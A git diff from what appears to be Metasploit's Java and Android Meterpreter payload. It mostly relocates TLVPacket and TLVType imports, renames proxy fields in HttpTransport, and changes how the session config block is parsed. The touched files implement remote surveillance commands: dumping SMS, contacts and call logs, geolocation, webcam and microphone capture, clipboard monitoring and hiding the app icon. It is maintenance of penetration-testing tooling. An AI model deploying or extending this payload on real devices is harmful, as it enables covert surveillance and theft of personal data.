--git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_calllog.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_calllog.java index 6701e949d..8726e8c82 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_calllog.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_calllog.java @@ -5,9 +5,9 @@ import android.database.Cursor; import android.provider.CallLog; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class android_dump_calllog implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_contacts.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_contacts.java index 0ba1832b5..d87b37bc8 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_contacts.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_contacts.java @@ -4,11 +4,11 @@ import android.database.Cursor; import android.net.Uri; import android.os.Build; - import android.provider.ContactsContract; + +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class android_dump_contacts implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_sms.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_sms.java index 2a4b878e1..fdf42d45a 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_sms.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_dump_sms.java @@ -3,9 +3,9 @@ import android.database.Cursor; import android.net.Uri; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class android_dump_sms implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_geolocate.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_geolocate.java index 78be2bef3..420c823ad 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_geolocate.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_geolocate.java @@ -4,9 +4,9 @@ import android.location.Location; import android.location.LocationManager; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class android_geolocate implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_hide_app_icon.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_hide_app_icon.java index 373d7860f..e49d7d5e8 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_hide_app_icon.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_hide_app_icon.java @@ -5,9 +5,10 @@ import android.content.Intent; import android.content.pm.PackageManager; import android.content.pm.ResolveInfo; + +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; import java.util.List; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_interval_collect.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_interval_collect.java index e80c4ed22..c3eb0ff2b 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_interval_collect.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_interval_collect.java @@ -1,11 +1,10 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.IntervalCollectionManager; import com.metasploit.meterpreter.IntervalCollector; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; - import com.metasploit.meterpreter.command.Command; public class android_interval_collect implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_send_sms.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_send_sms.java index 5b5d368de..2fa958e9e 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_send_sms.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_send_sms.java @@ -9,9 +9,9 @@ import android.app.Activity; import android.content.Context; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_set_audio_mode.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_set_audio_mode.java index 6a0deb858..817fada4d 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_set_audio_mode.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_set_audio_mode.java @@ -2,9 +2,10 @@ import android.media.AudioManager; import android.content.Context; + +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class android_set_audio_mode implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_set_wallpaper.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_set_wallpaper.java index 114cbe46b..daab159ae 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_set_wallpaper.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_set_wallpaper.java @@ -3,9 +3,9 @@ import android.app.WallpaperManager; import android.content.Context; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; import java.io.ByteArrayInputStream; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_sqlite_query.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_sqlite_query.java index 27399ce68..d0dc3a083 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_sqlite_query.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_sqlite_query.java @@ -4,9 +4,9 @@ import android.database.Cursor; import android.database.sqlite.SQLiteException; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class android_sqlite_query implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_wakelock.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_wakelock.java index 61fbbf7f3..261d55651 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_wakelock.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_wakelock.java @@ -2,10 +2,11 @@ import android.content.Context; import android.os.PowerManager; + +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class android_wakelock implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_wlan_geolocate.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_wlan_geolocate.java index 6c1034ed4..ea1e2a099 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_wlan_geolocate.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/android_wlan_geolocate.java @@ -17,9 +17,9 @@ import android.widget.Toast; import android.util.Log; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class android_wlan_geolocate implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_install.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_install.java index d111f28a7..fb9ba8668 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_install.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_install.java @@ -7,9 +7,9 @@ import java.io.File; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class appapi_app_install implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_list.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_list.java index a5171f72b..28adb496e 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_list.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_list.java @@ -8,9 +8,9 @@ import java.util.List; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class appapi_app_list implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_run.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_run.java index 3bd3e4684..3ae61fdca 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_run.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_run.java @@ -4,9 +4,9 @@ import android.content.Intent; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class appapi_app_run implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_uninstall.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_uninstall.java index 76da3466e..fea373b33 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_uninstall.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_uninstall.java @@ -6,9 +6,9 @@ import android.content.pm.PackageManager; import android.net.Uri; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class appapi_app_uninstall implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_get_data.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_get_data.java index edf9372a8..15c326bd7 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_get_data.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_get_data.java @@ -1,11 +1,11 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.ClipManager; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class clipboard_get_data implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_dump.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_dump.java index c0cf55c55..d2eed027e 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_dump.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_dump.java @@ -1,10 +1,10 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.ClipManager; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class clipboard_monitor_dump implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_pause.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_pause.java index 5f738714d..4e10ddc99 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_pause.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_pause.java @@ -1,10 +1,10 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.ClipManager; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class clipboard_monitor_pause implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_purge.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_purge.java index 2fef19cce..4f612150a 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_purge.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_purge.java @@ -1,10 +1,10 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.ClipManager; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class clipboard_monitor_purge implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_resume.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_resume.java index b9c4b1f0a..4de8ae8e6 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_resume.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_resume.java @@ -1,10 +1,10 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.ClipManager; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class clipboard_monitor_resume implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_start.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_start.java index c181240b5..0756b4748 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_start.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_start.java @@ -1,10 +1,10 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.ClipManager; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class clipboard_monitor_start implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_stop.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_stop.java index d8d3f9640..3ea7d87a1 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_stop.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_stop.java @@ -1,10 +1,10 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.ClipManager; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class clipboard_monitor_stop implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_set_data.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_set_data.java index ccd84b1c9..a76bf4021 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_set_data.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_set_data.java @@ -1,11 +1,11 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.ClipManager; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class clipboard_set_data implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_config_getuid.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_config_getuid.java index 6d0f1cc78..e41e6ddf3 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_config_getuid.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_config_getuid.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.Utils; import com.metasploit.meterpreter.command.Command; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_config_sysinfo_android.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_config_sysinfo_android.java index 489acfb8d..1995acbc2 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_config_sysinfo_android.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_config_sysinfo_android.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.Utils; import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.stdapi.stdapi_sys_config_sysinfo; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java index 18137b21e..815b8bdca 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; import java.io.BufferedReader; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_getpid_android.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_getpid_android.java index fde1cb20b..b62e13bbf 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_getpid_android.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_getpid_android.java @@ -2,9 +2,9 @@ import android.os.Process; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.stdapi.stdapi_sys_process_getpid; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_ui_desktop_screenshot.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_ui_desktop_screenshot.java index 82d1e1b6d..a52700e10 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_ui_desktop_screenshot.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_ui_desktop_screenshot.java @@ -4,9 +4,9 @@ import android.graphics.Bitmap; import android.view.View; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; import java.io.ByteArrayOutputStream; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_webcam_audio_record_android.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_webcam_audio_record_android.java index 475cd09d6..c8d958ce1 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_webcam_audio_record_android.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_webcam_audio_record_android.java @@ -5,8 +5,8 @@ import android.media.AudioRecord; import android.media.MediaRecorder.AudioSource; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.stdapi.stdapi_webcam_audio_record; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_get_frame_android.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_get_frame_android.java index b5e14bcb4..dda659e1c 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_get_frame_android.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_get_frame_android.java @@ -5,8 +5,8 @@ import android.hardware.Camera.Parameters; import android.hardware.Camera.PictureCallback; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.stdapi.stdapi_webcam_audio_record; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_list_android.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_list_android.java index 54db6836f..44e563cd4 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_list_android.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_list_android.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.stdapi.stdapi_webcam_audio_record; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_start_android.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_start_android.java index a9190c580..69735a0f3 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_start_android.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_start_android.java @@ -9,9 +9,9 @@ import android.view.SurfaceView; import android.view.WindowManager; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.stdapi.stdapi_webcam_audio_record; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_stop_android.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_stop_android.java index e5d308987..4db1672e2 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_stop_android.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_stop_android.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.stdapi.stdapi_webcam_audio_record; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Channel.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Channel.java index 60666822f..e160e5774 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Channel.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Channel.java @@ -4,6 +4,8 @@ import java.io.InputStream; import java.io.OutputStream; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.command.CommandId; /** diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/CommandManager.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/CommandManager.java index 297db81e8..36142bae6 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/CommandManager.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/CommandManager.java @@ -5,6 +5,8 @@ import java.util.Map; import java.util.Vector; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.command.NotYetImplementedCommand; import com.metasploit.meterpreter.command.UnsupportedJavaVersionCommand; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java index 80cb7e05e..87f3add09 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java @@ -1,5 +1,7 @@ package com.metasploit.meterpreter; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.command.Command; import com.metasploit.stage.HttpConnection; import com.metasploit.stage.PayloadTrustManager; @@ -19,7 +21,7 @@ public class HttpTransport extends Transport { private URL targetUrl = null; private URL nextUrl = null; private String userAgent; - private String proxy; + private String proxyUrl; private String proxyUser; private String proxyPass; private String customHeaders; @@ -33,7 +35,7 @@ public HttpTransport(Meterpreter met, String url) throws MalformedURLException { public HttpTransport(Meterpreter met, String url, TransportConfig transportConfig) throws MalformedURLException { this(met, url); userAgent = transportConfig.user_agent; - proxy = transportConfig.proxy; + proxyUrl = transportConfig.proxy_url; proxyUser = transportConfig.proxy_user; proxyPass = transportConfig.proxy_pass; certHash = transportConfig.cert_hash; @@ -47,13 +49,13 @@ public void bind(DataInputStream in, OutputStream rawOut) { } @Override - public boolean switchUri(String uri) { + public boolean patchUuid(String uuid) { try { // can't use getAuthority() here thanks to java 1.2. Ugh. String newUrl = this.targetUrl.getProtocol() + "://" + this.targetUrl.getHost() + ":" - + this.targetUrl.getPort() - + uri; + + this.targetUrl.getPort() + "/" + + uuid; this.nextUrl = new URL(newUrl); return true; } @@ -70,12 +72,12 @@ public void setUserAgent(String userAgent) { this.userAgent = userAgent; } - public String getProxy() { - return this.proxy; + public String getProxyUrl() { + return this.proxyUrl; } - public void setProxy(String proxy) { - this.proxy = proxy; + public void setProxyUrl(String proxyUrl) { + this.proxyUrl = proxyUrl; } public String getProxyUser() { @@ -142,7 +144,7 @@ protected boolean tryConnect(Meterpreter met) throws IOException { catch (Exception ignored) { } - // we get here, thins aren't good. + // we get here, things aren't good. return false; } diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java index 5dd47c0a7..edfc15c84 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java @@ -8,8 +8,6 @@ import java.io.PrintStream; import java.net.MalformedURLException; -import java.net.URL; -import java.net.URLClassLoader; import java.util.ArrayList; import java.util.Iterator; @@ -17,6 +15,8 @@ import java.util.Random; import java.util.jar.JarInputStream; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.core.core_loadlib; import com.metasploit.stage.Config; import com.metasploit.stage.ConfigParser; @@ -44,8 +44,17 @@ public class Meterpreter { private byte[] sessionGUID; private long sessionExpiry; - protected void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] configuration) throws MalformedURLException { - Config config = ConfigParser.parseConfig(configuration); + protected void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] configBlock) throws MalformedURLException { + byte[] configHandle = new byte[8]; + byte[] configPacket = new byte[configBlock.length - configHandle.length]; + + System.arraycopy(configBlock, 0, configHandle, 0, configHandle.length); + System.arraycopy(configBlock, configHandle.length, configPacket, 0, configPacket.length); + + Config config = ConfigParser.parseConfig(configPacket); + if (config == null) { + return; + } this.sessionExpiry = config.session_expiry + System.currentTimeMillis(); this.uuid = config.uuid; this.sessionGUID = config.session_guid; @@ -144,9 +153,9 @@ public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensio if (beginExecution) { int configLen = in.readInt(); - byte[] configBytes = new byte[configLen]; - in.readFully(configBytes); - loadConfiguration(in, rawOut, configBytes); + byte[] configBlock = new byte[configLen]; + in.readFully(configBlock); + loadConfiguration(in, rawOut, configBlock); // after the configuration block is a 32 bit integer that tells us // how many stages were wired into the payload. We need to stash this diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java index 8612a37f3..276305ac6 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java @@ -10,6 +10,8 @@ import java.net.SocketException; import 